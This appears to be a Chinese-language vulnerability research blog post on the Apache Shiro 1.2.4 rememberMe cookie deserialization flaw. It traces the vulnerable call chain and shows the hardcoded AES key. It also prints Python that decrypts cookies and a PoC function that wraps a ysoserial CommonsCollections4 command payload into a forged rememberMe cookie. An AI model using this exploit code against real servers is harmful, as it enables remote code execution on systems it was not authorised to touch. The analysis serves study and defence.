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        <h1 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h1><h2 id="触发入口"><a href="#触发入口" class="headerlink" title="触发入口"></a>触发入口</h2><p>登录点击记住密码时，有rememberMe，下次登陆时会带rememberMe的cookie，rememberMe存在反序列化问题</p><p><img src="/vulnresearch-Shiro1.2.4反序列化/1563415886850.png" alt="1563415886850"></p><h2 id="序列化入口"><a href="#序列化入口" class="headerlink" title="序列化入口"></a>序列化入口</h2><p>调试得到序列化入口和解密方法：</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity(AuthenticationToken, AuthenticationInfo):321</span><br><span class="line">	org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity(Subject, PrincipalCollection)</span><br><span class="line">		org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes(L360:序列化)			</span><br><span class="line">    		org.apache.shiro.mgt.AbstractRememberMeManager#encrypt(加密方法)</span><br></pre></td></tr></table></figure><a id="more"></a>



<p>在encrypt函数中可以看到加密方法为AES-CBC</p>
<p><img src="/vulnresearch-Shiro1.2.4反序列化/1563420577517.png" alt="1563420577517"> </p>
<h2 id="获取加密key"><a href="#获取加密key" class="headerlink" title="获取加密key"></a>获取加密key</h2><p>AbstractRememberMeManager#encrypt() 调用了getEncryptionCipherKey()方法获取加密用的key</p>
<p><img src="/vulnresearch-Shiro1.2.4反序列化/1565425414839.png" alt="1565425414839"></p>
<p>getEncryptionCipherKey返回了encryptionCipherKey，encryptionCipherKey在AbstractRememberMeManager类初始化时设置：</p>
<p><img src="/vulnresearch-Shiro1.2.4反序列化/1565425554398.png" alt="1565425554398"></p>
<p>向上找到AbstractRememberMeManager#DEFAULT_CIPHER_KEY_BYTES，密钥硬编码到了代码里：</p>
<p><img src="/vulnresearch-Shiro1.2.4反序列化/1565425627351.png" alt="1565425627351"></p>
<h2 id="分析rememberMe格式"><a href="#分析rememberMe格式" class="headerlink" title="分析rememberMe格式"></a>分析rememberMe格式</h2><p>iv和rememberMe产生接着调试</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">org.apache.shiro.mgt.AbstractRememberMeManager#encrypt</span><br><span class="line">	org.apache.shiro.crypto.JcaCipherService#encrypt(byte[], byte[])</span><br><span class="line">		org.apache.shiro.crypto.JcaCipherService#encrypt(byte[], byte[], byte[], boolean)</span><br></pre></td></tr></table></figure>
<p><img src="/vulnresearch-Shiro1.2.4反序列化/1563420885798.png" alt="1563420885798"></p>
<p>即rememberme=b64(IV+encrypt(serial))</p>
<p>因此有解密代码：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">with</span> open(filename, <span class="string">'rb'</span>) <span class="keyword">as</span> enc_file, open(<span class="string">"./decrypt.bin"</span>, <span class="string">'wb'</span>) <span class="keyword">as</span> dec_file:</span><br><span class="line">    cookie = base64.b64decode(enc_file.read())</span><br><span class="line">    key  = base64.b64decode(<span class="string">"kPH+bIxk5D2deZiIxcaaaA=="</span>)</span><br><span class="line">    mode =  AES.MODE_CBC</span><br><span class="line">    iv=cookie[:<span class="number">16</span>]</span><br><span class="line">    serial=cookie[<span class="number">16</span>:]</span><br><span class="line">    encryptor = AES.new(key, mode, IV=iv)</span><br><span class="line">    remember_bin = encryptor.decrypt(serial)</span><br><span class="line">    dec_file.write(remember_bin)</span><br></pre></td></tr></table></figure>
<h1 id="PoC"><a href="#PoC" class="headerlink" title="PoC"></a>PoC</h1><p>因此有反序列化代码</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">encode_rememberme</span><span class="params">(command)</span>:</span></span><br><span class="line">    popen = subprocess.Popen([<span class="string">'java'</span>, <span class="string">'-jar'</span>, <span class="string">'ysoserial.jar'</span>, <span class="string">'CommonsCollections4'</span>, command], stdout=subprocess.PIPE)</span><br><span class="line">    BS   = AES.block_size</span><br><span class="line">    pad = <span class="keyword">lambda</span> s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()</span><br><span class="line">    key  =  <span class="string">"kPH+bIxk5D2deZiIxcaaaA=="</span></span><br><span class="line">    mode =  AES.MODE_CBC</span><br><span class="line">    iv   =  uuid.uuid4().bytes</span><br><span class="line">    encryptor = AES.new(base64.b64decode(key), mode, iv)</span><br><span class="line">    file_body = pad(popen.stdout.read())</span><br><span class="line">    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))</span><br><span class="line">    <span class="keyword">return</span> base64_ciphertext</span><br></pre></td></tr></table></figure>
<p>反序列化入口</p>
<p>org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals</p>
<pre><code>org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals
    org.apache.shiro.mgt.AbstractRememberMeManager#deserialize
</code></pre><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">protected</span> PrincipalCollection <span class="title">convertBytesToPrincipals</span><span class="params">(<span class="keyword">byte</span>[] bytes, SubjectContext subjectContext)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (getCipherService() != <span class="keyword">null</span>) &#123;</span><br><span class="line">        bytes = decrypt(bytes);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> deserialize(bytes); <span class="comment">//sink</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

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